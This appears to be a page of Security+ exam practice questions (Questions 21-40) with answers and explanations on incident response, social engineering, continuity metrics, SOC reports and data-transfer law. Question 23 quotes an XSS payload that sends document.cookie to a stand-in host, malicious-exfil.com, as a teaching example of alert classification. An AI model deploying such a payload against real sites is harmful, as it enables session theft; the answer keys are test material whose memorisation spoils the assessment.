Examkin

All practice questions

2232 questions

All types2,232Multiple choice1,151Multiple select509Numeric21Matching378Ordering173
Question 21Question →

An enterprise Security Operations Center (SOC) detects anomalous, high-volume outbound UDP port 53 traffic originating from an automated internal build server. Log inspection reveals structured base64-encoded strings appended to DNS queries sent to an external, unclassified domain, indicating active DNS tunneling and data exfiltration. Which TWO of the following actions should the incident response team perform FIRST to contain the threat while preserving evidence? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Apply network-level isolation controls or move the build server interface to a quarantine VLAN.; Capture a volatile memory image of the host before executing destructive remediation tasks.

Answer

The incident response team should apply network-level isolation controls (or move the interface to a quarantine VLAN) and capture a volatile memory image (RAM) of the host before performing destructive remediation.
In accordance with standard incident response frameworks (NIST SP 800-61 / ISO 27035), containment must isolate the compromised asset from the network while preserving volatile digital evidence. Isolating the build server via firewall/VLAN adjustments blocks C2 and exfiltration channels immediately. Capturing physical RAM satisfies the order of volatility, ensuring volatile evidence is captured prior to system changes.

Step-by-Step Solution

1
Isolate the host at the network layer.
Stops ongoing data exfiltration via DNS tunneling while preserving system execution state.
Containment limits the blast radius without modifying system artifacts or losing volatile memory.
2
Preserve volatile evidence according to the order of volatility.
Captures running processes, memory-resident tools, and active network connections stored in RAM.
Volatile memory is lost if the machine is powered off, rebooted, or modified during eradication.

Key Concept

Incident Response Containment and Forensic Order of Volatility
Estimated Time:1m 30s
Question 22Question →

An executive assistant receives a tailored email that appears to come directly from the company's Chief Executive Officer (CEO). The message insists on an urgent, confidential wire transfer to secure an enterprise acquisition before the end of the business day. Which of the following social engineering attack vectors best describes this incident?

Show answer & explanation

Answer: Whaling

Answer

Whaling
Whaling is a specialized subset of phishing that specifically targets or impersonates high-ranking corporate executives (such as CEOs or CFOs) to conduct high-value financial transactions or gain access to sensitive corporate data.

Step-by-Step Solution

1
Identify the communication medium and target profile in the scenario.
The attack uses email to impersonate an executive leadership role (CEO) targeting high-value financial fraud.
Determining the medium (email) and the high-profile context narrows down the specific social engineering variant.
2
Map the scenario attributes to social engineering attack definitions.
Email spoofing that specifically impersonates top-level executives for high-stakes fraud matches the definition of whaling.
Whaling is distinguished from generic phishing by its focus on senior executive targets or senior executive impersonation.

Key Concept

Whaling Social Engineering Vector
Question 23Question →

A security analyst reviews a high-severity alert generated by a Network Intrusion Detection System (NIDS) monitoring enterprise perimeter web traffic. The SIEM correlation rule triggered on the following HTTP payload excerpt:

`GET /products/search?user_input=<script>window.location='http://malicious-exfil.com/collector?cookie='+document.cookie</script> HTTP/1.1`

The analyst logs the incident as a successful SQL injection attack attempting to query sensitive database tables. Which of the following best explains why the analyst's interpretation of this network alert is incorrect?

Show answer & explanation

Answer: The payload represents a Cross-Site Scripting (XSS) attack vector attempting client-side script execution to steal cookies, rather than a database query manipulation attack.

Answer

The analyst's interpretation is incorrect because the payload contains client-side JavaScript (`<script>` tags exfiltrating `document.cookie`), which indicates Cross-Site Scripting (XSS), not SQL injection.
The correct answer identifies that the payload in the NIDS alert uses JavaScript script tags (`<script>`) and browser object references (`document.cookie`) to exfiltrate session data to an external site. This is the hallmark signature of a Cross-Site Scripting (XSS) attack. SQL injection attacks involve inserting SQL statements (such as `SELECT`, `UNION`, or `DROP`) to manipulate database backend processing.

Step-by-Step Solution

1
Examine the payload signature from the NIDS network event log.
The parameter value contains `<script>window.location='http://malicious-exfil.com/collector?cookie='+document.cookie</script>`.
Analyzing the raw string payload reveals the functional syntax of the attempted exploit.
2
Differentiate between web application attack signatures.
JavaScript execution syntax (`<script>`) targeted at browser DOM objects (`document.cookie`) corresponds to Cross-Site Scripting (XSS). SQL injection payloads utilize database query syntax such as `' OR '1'='1` or `UNION SELECT`.
Accurate alert classification requires matching observed payload syntax to the corresponding threat category.
3
Select the option that correctly identifies the misinterpretation.
The option stating that the payload represents Cross-Site Scripting rather than SQL injection accurately corrects the analyst's diagnosis.
This directly addresses the root cause of the misclassified network security monitoring alert.

Key Concept

Web Application Attack Log Interpretation in Network Security Monitoring
Question 24Question →

A security operations team is configuring an automated vulnerability management workflow for a hybrid cloud environment containing both ephemeral container workloads and legacy database servers. Which of the following scanning strategies should the team implement to minimize network overhead while ensuring accurate detection of OS-level vulnerabilities? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Deploy lightweight host-based agents on persistent database servers to perform authenticated internal system checks.; Integrate vulnerability scanners directly into the CI/CD pipeline to analyze container images prior to deployment.

Answer

The team should deploy host-based agents on persistent database servers and integrate container image scanning into the CI/CD deployment pipeline.
Deploying host-based agents on persistent servers provides detailed credentialed assessment results without generating heavy network traffic. Similarly, integrating container scanning into the CI/CD pipeline ensures container images are assessed for vulnerabilities before being spawned, addressing the ephemeral nature of container workloads efficiently.

Step-by-Step Solution

1
Analyze persistent workload requirements
Identify that host-based agents provide continuous, credentialed assessment of OS and library patch states on persistent database servers with minimal network impact.
Host agents execute locally, eliminating network bandwidth consumption and port-scanning overhead on core databases.
2
Analyze container workload requirements
Identify that scanning static container images within the CI/CD pipeline identifies vulnerabilities prior to runtime deployment.
Ephemeral containers spin up and shut down rapidly, making active network scans ineffective and resource-intensive.

Key Concept

Selecting appropriate vulnerability scanning methodologies (agent-based vs. network-based vs. static pipeline image scanning) based on infrastructure environment constraints.
Question 25Question →

A multinational retail enterprise headquartered in Texas processes online orders for customers residing across the European Union. During an operational risk assessment, the chief information security officer observes that customer transaction logs—which include payment details, IP addresses, and email addresses—are continuously replicated to a centralized data warehouse in Dallas. The IT infrastructure team asserts that encrypting the database at rest using AES-256 satisfies all legal security duties. However, the legal compliance team insists this control is insufficient for international data flows. Which of the following best describes the organization's legal compliance obligation regarding these data transfers?

Show answer & explanation

Answer: The organization must implement an approved cross-border data transfer mechanism, such as Standard Contractual Clauses or an adequacy decision framework, because technical encryption alone does not fulfill statutory data privacy requirements for legal data transfers.

Answer

The organization must establish an approved cross-border data transfer legal mechanism (such as Standard Contractual Clauses or an adequacy framework) because technical security measures such as encryption at rest do not satisfy statutory privacy rules governing international data movements.
Technical security controls like AES-256 encryption address data security (protecting confidentiality), but do not fulfill legal data privacy requirements regarding international data sovereignty. Frameworks like the EU GDPR mandate that transferring personal data (including IP addresses and contact details) outside the native legal jurisdiction requires a valid legal transfer framework, such as Standard Contractual Clauses (SCCs) or an adequacy framework.

Step-by-Step Solution

1
Analyze the nature of the data being processed and transferred.
Transaction logs containing IP addresses and email addresses constitute Personally Identifiable Information (PII) under privacy regulations such as GDPR.
Regulatory scope depends on the classification of the data being collected and moved internationally.
2
Differentiate between technical security safeguards and legal transfer mechanisms.
AES-256 encryption fulfills data confidentiality and security mandates, but does not provide lawful authorization for cross-border data transfer under privacy laws.
Security controls and legal compliance requirements operate at distinct regulatory layers.
3
Determine the necessary regulatory compliance instrument.
An authorized mechanism (such as Standard Contractual Clauses or an recognized adequacy framework) must be established to legitimize transfers outside the native jurisdiction.
Statutory privacy frameworks require legal safeguards to maintain privacy protections regardless of server location.

Key Concept

Cross-Border Data Transfer Legal Mechanisms vs. Technical Security Controls
Estimated Time:2m 0s
Question 26Question →

An attacker leaves several USB flash drives labeled "Executive Compensation Q3" on tables in an enterprise cafeteria, relying on curious employees to pick one up and plug it into a corporate workstation. Which social engineering attack vector is being demonstrated in this scenario?

Show answer & explanation

Answer: Baiting

Answer

Baiting is the correct social engineering attack vector.
Baiting is a social engineering attack where an attacker leaves malware-infected physical media, such as USB flash drives, in locations where targets are likely to find them. The enticing label appeals to curiosity, convincing victims to plug the media into their systems.

Step-by-Step Solution

1
Analyze the attack mechanism described in the scenario
The attacker relies on enticing curiosity by placing physical media (USB drives with intriguing labels) in a public employee space.
Identifying the medium (physical USB drive) and psychological trigger (curiosity/greed) narrows down the social engineering vector.
2
Map the mechanism to the correct social engineering classification
Leaving infected physical media to entice victims to connect it to a network is defined as baiting.
Baiting differs from remote electronic vector attacks (such as spear phishing) or physical access attacks (such as tailgating).

Key Concept

Baiting Attack Vector
Question 27Question →

An enterprise finance company is onboarding a cloud payroll vendor and requires third-party assurance specifically regarding the vendor's internal controls over financial reporting. Which of the following reports should the enterprise request from the vendor?

Show answer & explanation

Answer: SOC 1 report

Answer

The SOC 1 report is the correct choice because it evaluates internal controls over financial reporting.
A SOC 1 (System and Organization Controls 1) report is specifically designed to audit and attest to a service organization's internal controls relevant to user entities' internal controls over financial reporting (ICFR).

Step-by-Step Solution

1
Identify the primary compliance requirement stated in the scenario.
The requirement is assurance over internal controls relevant to financial reporting (ICFR).
Matching the organization's business requirement to the standard attestation framework.
2
Evaluate the scope of SOC report types.
SOC 1 addresses financial controls, whereas SOC 2 and SOC 3 address IT security and trust criteria.
Differentiating financial reporting audit standards from general operational security audit standards.

Key Concept

SOC 1 Attestation for Internal Controls Over Financial Reporting
Question 28Question →

During a business continuity strategy assessment, a hospital's IT security officer reviews the Business Impact Analysis (BIA) for the Electronic Health Record (EHR) system. The business impact analysis defines a Maximum Tolerable Downtime (MTD) of 12 hours12\text{ hours}. Technical server restoration and database mounting are calculated to have a Recovery Time Objective (RTO) of 8 hours8\text{ hours}. However, post-restoration operational steps—including data integrity validation, paper chart reconciliation, and system synchronization—require a Work Recovery Time (WRT) of 5 hours5\text{ hours}. Which of the following operational conclusions should the security officer draw regarding the current disaster recovery plan?

Show answer & explanation

Answer: The disaster recovery plan is non-compliant because the combined outage and recovery timeframe (13 hours13\text{ hours}) exceeds the Maximum Tolerable Downtime (12 hours12\text{ hours}).

Answer

The disaster recovery plan is non-compliant because the combined outage and recovery timeframe (13 hours13\text{ hours}) exceeds the Maximum Tolerable Downtime (12 hours12\text{ hours}).
In Business Impact Analysis (BIA) and Business Continuity Management (BCM), Maximum Tolerable Downtime (MTD) defines the total permissible disruption period. Total operational recovery includes both technical system restoration (RTO) and operational business verification/reconciliation (WRT). Because RTO+WRT=8+5=13 hours\text{RTO} + \text{WRT} = 8 + 5 = 13\text{ hours}, the total recovery period exceeds the 12 hour12\text{ hour} MTD, rendering the continuity plan non-compliant.

Step-by-Step Solution

1
Identify the key BIA metrics given in the scenario
MTD=12 hours\text{MTD} = 12\text{ hours}, RTO=8 hours\text{RTO} = 8\text{ hours}, and WRT=5 hours\text{WRT} = 5\text{ hours}.
Establishing the target threshold and component recovery durations is necessary to evaluate business continuity viability.
2
Calculate total operational outage duration
Total Outage Duration=RTO+WRT=8 hours+5 hours=13 hours\text{Total Outage Duration} = \text{RTO} + \text{WRT} = 8\text{ hours} + 5\text{ hours} = 13\text{ hours}.
System restoration is not complete when servers boot (RTO); full business operation requires data verification and reconciliation (WRT).
3
Compare total disruption time against Maximum Tolerable Downtime
13 hours>12 hours13\text{ hours} > 12\text{ hours}, indicating the business continuity plan fails to meet the required MTD constraint.
Any recovery timeframe where RTO+WRT>MTD\text{RTO} + \text{WRT} > \text{MTD} places the enterprise at unacceptable operational risk.

Key Concept

Work Recovery Time (WRT) and Recovery Time Objective (RTO) relationship to Maximum Tolerable Downtime (MTD)
Question 29Question →

An organization is conducting a Business Impact Analysis (BIA) and needs to define the maximum acceptable amount of time that a mission-critical system can remain offline following an outage. Which of the following business continuity metrics represents this duration?

Show answer & explanation

Answer: Recovery Time Objective (RTO)

Answer

Recovery Time Objective (RTO)
The Recovery Time Objective (RTO) represents the maximum targeted duration of time system operations can be down after a disaster before causing critical disruption to business operations.

Step-by-Step Solution

1
Identify the key requirement in the scenario.
The scenario asks for the metric that defines maximum acceptable system downtime duration following an outage.
Understanding the metric's core focus is necessary to select the correct BIA metric.
2
Differentiate between time-based operational continuity metrics.
Recovery Time Objective (RTO) directly measures allowable restoration time, whereas Recovery Point Objective (RPO) measures allowable data loss.
RTO focuses strictly on system availability and recovery duration.

Key Concept

Recovery Time Objective (RTO) vs Recovery Point Objective (RPO)
Estimated Time:45s
Question 30Question →

A logistics enterprise is updating its business continuity management plan for its central warehouse execution system. A Business Impact Analysis (BIA) determines that data loss exceeding 15 minutes will cause unrecoverable state desynchronization across automated sorting units, while the system can remain completely offline for up to 6 hours before contract penalties take effect. The infrastructure team proposes a disaster recovery architecture utilizing asynchronous backup replication every 4 hours and an automated failover process that restores application availability within 2 hours. Which of the following statements correctly evaluates the proposed disaster recovery plan against the organization's business metrics?

Show answer & explanation

Answer: The proposed architecture fails to meet the Recovery Point Objective (RPO) because 4-hour replication permits up to 4 hours of data loss, exceeding the 15-minute threshold.

Answer

The proposed architecture fails to meet the Recovery Point Objective (RPO) because 4-hour replication permits up to 4 hours of data loss, exceeding the 15-minute threshold.
The correct answer identifies that the 15-minute maximum tolerable data loss parameter represents the organization's Recovery Point Objective (RPO). Performing asynchronous backups every 4 hours leaves up to a 4-hour window of lost transactions during a crash, directly breaching the 15-minute RPO requirement.

Step-by-Step Solution

1
Identify the key metrics defined by the Business Impact Analysis (BIA)
The maximum allowable data loss timeframe is 15 minutes, which establishes the Recovery Point Objective (RPO) = 15 minutes. The maximum acceptable system offline duration is 6 hours, establishing the Recovery Time Objective (RTO) / Maximum Tolerable Downtime (MTD) = 6 hours.
BIA metrics separate acceptable data loss (RPO) from acceptable system downtime (RTO).
2
Analyze the proposed disaster recovery architecture parameters
Replication interval = 4 hours (potential data loss up to 4 hours). Restoration time = 2 hours (system offline time of 2 hours).
Replication frequency defines the actual data loss window, whereas failover restoration time defines the actual downtime.
3
Compare actual recovery parameters against required business metrics
The 2-hour restoration time meets the 6-hour RTO target (2 hours≤6 hours2 \text{ hours} \le 6 \text{ hours}). However, the 4-hour replication interval violates the 15-minute RPO requirement (4 hours>15 minutes4 \text{ hours} > 15 \text{ minutes}).
A valid continuity plan must satisfy both RTO and RPO requirements simultaneously.

Key Concept

Distinction between Recovery Point Objective (RPO) and Recovery Time Objective (RTO) in Business Impact Analysis
Question 31Question →

To enforce strict endpoint security across a hybrid workforce, a security team is designing a host health validation strategy to enforce configuration baselines and patch management standards. Which of the following technical controls directly ensure that endpoints maintain verified baseline configurations and patch levels? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Deploying configuration management agents to continuously audit workstation settings against established security baselines and automatically remediate configuration drift; Implementing Network Access Control (NAC) posture assessment to check endpoint operating system patch levels against mandatory patch compliance SLAs before granting network access

Answer

Deploying automated configuration management agents to remediate baseline drift and implementing Network Access Control (NAC) posture assessments to verify patch compliance.
Maintaining secure host states requires verifying both software patch levels and baseline configurations. Automated configuration management agents detect and correct unauthorized setting changes (configuration drift), while posture assessment mechanisms (such as NAC) evaluate patch levels against defined SLAs to ensure non-compliant systems are isolated or updated prior to granting network access.

Step-by-Step Solution

1
Identify mechanisms that enforce configuration baselines and remediate configuration drift on endpoints.
Automated configuration management agents continuously monitor system settings and restore non-compliant settings back to authorized baselines.
Baseline enforcement requires local or agent-based auditing and automated remediation.
2
Identify mechanisms that validate endpoint patch compliance during network admission.
Network Access Control (NAC) posture assessments check host patch status against organization SLAs prior to network authorization.
NAC posture checks prevent unpatched or vulnerable systems from joining the corporate network.

Key Concept

Continuous configuration baseline auditing, drift remediation, and endpoint patch compliance validation.
Question 32Question →

A United States-based financial analytics organization expands its operations to process customer financial records and profile data belonging to residents of the European Union. The firm operates exclusively out of US data centers and does not hold corporate subsidiaries within the EU. Because the transfers do not fall under an overarching country-level adequacy decision for this entity, the security compliance officer must establish a valid legal transfer mechanism to remain compliant with data privacy mandates. Which of the following measures should the organization execute to lawfully authorize these international transfers of personal data?

Show answer & explanation

Answer: Execute Standard Contractual Clauses (SCCs) alongside a Transfer Impact Assessment to verify adequate technical and legal protections in the destination country.

Answer

Execute Standard Contractual Clauses (SCCs) alongside a Transfer Impact Assessment to verify adequate technical and legal protections in the destination country.
The correct response highlights the execution of Standard Contractual Clauses (SCCs) coupled with a Transfer Impact Assessment. Under international data privacy mandates (such as the GDPR), transferring personal data outside the European Economic Area to countries without a general adequacy decision requires approved legal safeguards. SCCs are legally binding contractual commitments that mandate data protection standards equivalent to EU law.

Step-by-Step Solution

1
Analyze the legal context and jurisdictional constraints presented in the scenario.
The organization transfers EU personal data (PII) to a non-EU country (the US) without relying on an existing automatic adequacy status for the specific entity.
Regulatory frameworks such as GDPR restrict international transfers of personal data to third countries unless specific legal safeguards are established.
2
Evaluate legal transfer mechanisms appropriate for international data flows.
Standard Contractual Clauses (SCCs) combined with a Transfer Impact Assessment (TIA) provide contractual obligations between data exporters and importers that guarantee equivalent data protection standards.
Regulators require legally binding instruments (like SCCs or Binding Corporate Rules) supplemented by contextual risk assessments to validate cross-border transfer legality.
3
Differentiate regulatory privacy instruments from standard technical or operational security frameworks.
Technical controls (such as encryption) and security certifications (such as ISO 27001 or PCI-DSS) support data protection but cannot legally substitute for statutory transfer mechanisms.
Compliance requires satisfying both legal jurisdictional authorization and technical safeguard requirements.

Key Concept

Cross-Border Data Transfer Mechanisms under Regulatory Privacy Frameworks
Question 33Question →

An enterprise security team wants to evaluate the real-world behavioral impact of its security awareness training program rather than relying solely on compliance statistics. Which of the following metrics provides the best indicator that employees are actively applying security awareness principles to mitigate human risk?

Show answer & explanation

Answer: An increase in the percentage of simulated phishing emails reported by employees using the designated reporting tool

Answer

An increase in the percentage of simulated phishing emails reported by employees using the designated reporting tool
Tracking user reporting rates during simulated phishing exercises directly measures employee vigilance and procedural adherence, serving as a key indicator of effective human risk reduction.

Step-by-Step Solution

1
Identify the goal of the awareness program evaluation
The goal is to measure positive user behavioral change and active threat detection capability.
Compliance-driven metrics (like video completion) do not confirm operational security readiness.
2
Evaluate metrics against human risk management goals
Reporting simulated phishing messages demonstrates that users recognize suspicious indicators and follow active reporting protocols.
An increased reporting rate directly reduces organizational risk by turning employees into effective security sensors.

Key Concept

Measuring Security Awareness Program Effectiveness
Estimated Time:45s
Question 34Question →

An organization is evaluating risk treatment options for an aging internal document repository that contains non-sensitive archived data. Due to budget constraints, the Chief Information Security Officer (CISO) decides not to implement costly security upgrades. Instead, the organization purchases a cyber insurance policy covering potential breach liabilities for the system and signs an official memorandum documenting approval of the operational risks associated with continuing system operation without further technical modifications. Which of the following risk response strategies are being directly implemented in this scenario? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Risk Transference; Risk Acceptance

Answer

The organization is implementing Risk Transference by purchasing a cyber insurance policy and Risk Acceptance by formally approving and documenting the decision to operate the system with its existing residual risk.
Purchasing a cyber insurance policy transfers financial liability to an insurance provider (Risk Transference), while explicitly choosing to operate the system as-is with senior management sign-off constitutes absorbing the risk (Risk Acceptance).

Step-by-Step Solution

1
Analyze the action of purchasing a cyber insurance policy.
Identified as shifting financial exposure to a third-party guarantor.
Risk transference delegates financial consequences of an adverse event to an outside entity.
2
Analyze the action of signing an official memorandum accepting operational risk without modifications.
Identified as formal acknowledgment and retention of residual risk.
Risk acceptance occurs when management acknowledges the potential loss and chooses to operate without additional risk reduction controls.

Key Concept

Distinguishing fundamental risk response strategies (Acceptance, Transference, Mitigation, Avoidance) in corporate risk management.
Question 35Question →

A global logistics company completes a Business Impact Analysis (BIA) for its primary automated warehouse dispatch engine. The assessment reveals that to prevent irrecoverable inventory ledger corruption, data loss cannot exceed the last 15 minutes of queued transaction records preceding an outage. Furthermore, management specifies that while distribution centers can briefly operate on manual contingency protocols, the automated system must be fully restored and operational within 6 hours to prevent severe contractual SLA penalties. Which target metric configuration must the lead security architect establish to meet these operational requirements?

Show answer & explanation

Answer: A Recovery Point Objective (RPO) of 15 minutes and a Recovery Time Objective (RTO) of 6 hours.

Answer

A Recovery Point Objective (RPO) of 15 minutes and a Recovery Time Objective (RTO) of 6 hours.
The option specifying an RPO of 15 minutes and an RTO of 6 hours correctly applies standard Business Impact Analysis parameters. Recovery Point Objective (RPO) designates the maximum tolerable amount of data lost, expressed as a time measurement prior to the incident (15 minutes of transactions). Recovery Time Objective (RTO) designates the maximum allowable targeted duration for restoring IT infrastructure and application functionality (6 hours).

Step-by-Step Solution

1
Analyze the data loss requirement stated in the scenario.
The scenario allows a maximum data loss timeframe of 15 minutes of transaction logs.
Recovery Point Objective (RPO) dictates the maximum acceptable interval of data loss measured backward from the point of failure.
2
Analyze the system outage duration requirement stated in the scenario.
The system service must be restored within 6 hours of disruption.
Recovery Time Objective (RTO) dictates the maximum acceptable duration of system downtime to restore operations.
3
Map the analyzed parameters to the correct BIA metric definitions.
RPO = 15 minutes; RTO = 6 hours.
Combining RPO (data loss window) and RTO (downtime restoration window) correctly satisfies both continuity constraints.

Key Concept

Business Impact Analysis (BIA) Metrics: Distinguishing RPO (Data Loss Window) from RTO (Downtime Duration)
Estimated Time:2m 0s
Question 36Question →

An airline's risk management team completes a Business Impact Analysis (BIA) for its automated crew scheduling engine. The BIA establishes that an operational disruption exceeding 8 hours will result in uncontrollable flight cancellations and severe regulatory penalties (Maximum Tolerable Downtime, MTD). After IT infrastructure restoration, technical staff require exactly 2 hours to perform database integrity checks and operational verification before handing the system back to operations (Work Recovery Time, WRT). Additionally, the business permits a maximum data loss window of 30 minutes of transaction logs. Which of the following represents the maximum Recovery Time Objective (RTO) that the IT recovery team must target to ensure compliance with the BIA?

Show answer & explanation

Answer: 6 hours

Answer

6 hours
The Recovery Time Objective (RTO) represents the maximum allowable duration for restoring technical systems and applications. To prevent total outage duration from exceeding the Maximum Tolerable Downtime (MTD) of 8 hours, the RTO must accommodate the mandatory 2-hour Work Recovery Time (WRT) required for data verification and operational testing. Calculating RTO=MTD−WRT\text{RTO} = \text{MTD} - \text{WRT} gives 8 hours−2 hours=6 hours8\text{ hours} - 2\text{ hours} = 6\text{ hours}.

Step-by-Step Solution

1
Extract the Business Impact Analysis (BIA) metric parameters from the scenario.
Maximum Tolerable Downtime (MTD) = 8 hours; Work Recovery Time (WRT) = 2 hours; Recovery Point Objective (RPO) = 30 minutes.
Categorizing the specific continuity constraints is necessary before calculating target restoration metrics.
2
Apply the business continuity relationship equation: MTD=RTO+WRT\text{MTD} = \text{RTO} + \text{WRT}.
RTO=MTD−WRT=8 hours−2 hours=6 hours\text{RTO} = \text{MTD} - \text{WRT} = 8\text{ hours} - 2\text{ hours} = 6\text{ hours}.
Technical infrastructure recovery (RTO) combined with post-recovery business validation (WRT) must fit within the maximum allowable outage window (MTD).

Key Concept

Calculating Recovery Time Objective (RTO) from Maximum Tolerable Downtime (MTD) and Work Recovery Time (WRT)
Estimated Time:2m 0s
Question 37Question →

An organization is categorizing its security controls based on CompTIA Security+ implementation categories (Technical, Managerial, Operational, Physical) and functional types (Preventive, Deterrent, Detective, Corrective, Compensating, Directive). Match each implemented security control on the left with its correct dual-classification on the right.

Click a left item, then click its matching right item

Items

Restoring system operations from air-gapped immutable backups following a ransomware incident
Posting high-visibility warning signs along a perimeter fence stating that unauthorized entry triggers prosecution
Publishing an enterprise-wide security governance document mandating acceptable asset usage practices
Deploying passive Network Intrusion Detection System (NIDS) sensors to monitor core traffic for anomalous patterns

Matches

Show answer & explanation

Answer

Restoring backups matches Technical category and Corrective type; warning signs match Physical category and Deterrent type; security policy documentation matches Managerial category and Directive type; passive NIDS sensors match Technical category and Detective type.
Each mechanism aligns directly with its primary implementation axis and operational goal: system restoration via backups is Technical and Corrective; physical signage dissuading entry is Physical and Deterrent; administrative usage policies are Managerial and Directive; and passive network intrusion monitoring is Technical and Detective.

Step-by-Step Solution

1
Analyze each security control's implementation method to assign the category (Technical, Managerial, Operational, or Physical).
Backups and NIDS are Technical (systems/software); warning signs are Physical (facility fixtures); security policies are Managerial (administrative governance).
CompTIA Security+ defines categories based on how a mechanism is constructed and deployed.
2
Evaluate the functional goal of each security control within the incident timeline (Preventive, Deterrent, Detective, Corrective, Compensating, or Directive).
Backups restore lost state (Corrective); signs warn off intruders (Deterrent); policies mandate rules (Directive); NIDS identifies anomalies (Detective).
Functional types reflect what the control accomplishes when mitigating security risks.
3
Pair each security mechanism with its corresponding category and functional type pair.
All four pairs matched accurately without ambiguity.
Dual-axis classification evaluates implementation method alongside security goal.

Key Concept

Dual-axis security control classification under CompTIA Security+ SY0-701.
Question 38Question →

An enterprise infrastructure team is deploying an out-of-band Network Security Monitoring (NSM) sensor to monitor network perimeter traffic without introducing inline latency. Place the operational steps for establishing and validating this monitoring capability in the correct sequential order from initial network tap setup to final alert validation.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct operational deployment sequence is: first, configure a hardware TAP or SPAN port on the core switch; second, connect the mirrored feed to a sensor interface in promiscuous mode; third, configure protocol parsing rules and detection signatures; and fourth, transmit synthetic test traffic to verify alert ingestion.
Establishing an out-of-band Network Security Monitoring (NSM) capability follows a logical progression: duplicating traffic via TAP/SPAN ports, connecting the stream to a sensor interface operating in promiscuous mode, activating NIDS detection signatures to digest packets, and finally performing synthetic traffic generation to validate that alerts successfully trigger and flow into security operations management platforms.

Step-by-Step Solution

1
Establish traffic mirroring
Network traffic is replicated to an isolated monitoring port without impacting inline flow.
Out-of-band network monitoring requires duplicating packet streams at the physical or data link layer first.
2
Bind feed to sensor interface in promiscuous mode
The sensor network interface card accepts all frames passed from the switch.
Without promiscuous mode, the NIC drops frames not explicitly addressed to its own MAC address.
3
Load detection signatures and parsers
The NIDS engine actively inspects incoming stream data against signatures and behavioral baselines.
Parsing logic must be active to extract telemetry and identify threat indicators from captured packets.
4
Execute end-to-end synthetic testing
Generated test indicators trigger expected alerts that appear in the central log repository.
Synthetic validation confirms complete pipeline connectivity from network capture to SOC alerting.

Key Concept

Out-of-band network security monitoring architecture and validation sequence
Question 39Question →

An e-commerce organization is evaluating a third-party cloud analytics vendor that will handle non-financial telemetry and user interaction data. Prior to onboarding, the organization's compliance lead asks for a SOC 2 Type II attestation report. Which of the following statements correctly describe the scope and characteristics of a SOC 2 Type II report? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: It evaluates the operational effectiveness of the service organization's security controls over a specified period of time.; It evaluates controls categorized under the Trust Services Criteria, such as security, availability, and confidentiality.

Answer

A SOC 2 Type II report measures the operational effectiveness of controls over a defined period (such as 6–12 months) and measures security controls against the Trust Services Criteria.
The correct options accurately describe a SOC 2 Type II attestation. Unlike a Type I report which evaluates control design at a single point in time, a Type II report tests the operational effectiveness of implemented controls across a extended period (such as 6 to 12 months). Additionally, SOC 2 reports specifically evaluate service organizations against the Trust Services Criteria (security, availability, processing integrity, confidentiality, and privacy).

Step-by-Step Solution

1
Identify the primary framework and focus of SOC 2 reports
SOC 2 focuses on operational security, availability, processing integrity, confidentiality, and privacy using the Trust Services Criteria.
SOC 2 is designed for technical/operational security evaluations rather than financial reporting audits.
2
Distinguish between Type I and Type II report scopes
Type I tests control design at a single point in time, whereas Type II tests operational effectiveness over a historical timeframe.
Type II reports require auditor testing across a specified observation period (e.g., 6 to 12 months).
3
Eliminate incorrect SOC report classifications
Exclude financial reporting controls (SOC 1) and public summary reports (SOC 3).
SOC 1 handles financial controls (ICFR) and SOC 3 is an executive summary intended for general public release.

Key Concept

SOC 2 Type II Attestation Reports and Trust Services Criteria
Estimated Time:1m 30s
Question 40Question →

A security analyst is designing a vulnerability assessment strategy for an enterprise environment that includes both ephemeral cloud virtual machines that dynamically auto-scale and legacy operational technology (OT) controllers that are susceptible to crashing under heavy active network traffic. Which deployment model best provides comprehensive vulnerability visibility while minimizing operational risk and disruption across both asset types?

Show answer & explanation

Answer: Deploy lightweight host-based scan agents on the cloud virtual machines and implement passive network vulnerability monitoring for the legacy operational technology controllers.

Answer

Deploying lightweight host-based scan agents on cloud virtual machines and implementing passive network vulnerability monitoring for legacy operational technology controllers provides full visibility while respecting operational constraints.
Host-based scan agents are ideal for short-lived, dynamically scaling cloud virtual machines because they execute locally and report state to a management console regardless of network IP changes. Passive network vulnerability monitoring collects network traffic without transmitting active probes, making it safe for delicate legacy OT systems that could malfunction when actively scanned.

Step-by-Step Solution

1
Analyze the operational constraints of auto-scaling cloud virtual machines.
Cloud instances are ephemeral and may shut down before centralized active network scanners discover or complete scanning them. Host-based agents embedded in base images register immediately upon spin-up.
Agent-based architecture ensures visibility into short-lived workload vulnerabilities without needing network sweeps.
2
Analyze the operational constraints of legacy operational technology (OT) controllers.
Fragile industrial control devices often lack robust TCP/IP stacks and can crash when receiving unexpected port probes or high packet volumes.
Passive network scanning inspects existing network traffic without injecting probes, eliminating downtime risk for OT assets.
3
Synthesize the optimal combined vulnerability assessment approach.
Combining host agents for cloud workloads with passive scanning for OT infrastructure provides comprehensive assessment coverage tailored to each asset class.
Different operational environments require distinct scanning mechanics to balance visibility against availability.

Key Concept

Selecting appropriate vulnerability scanning methodologies (agent-based vs. passive network monitoring) based on target asset characteristics and operational risk profiles.
PreviousPage 2 / 112Next
All practice questions — CompTIA Security+ | Examkin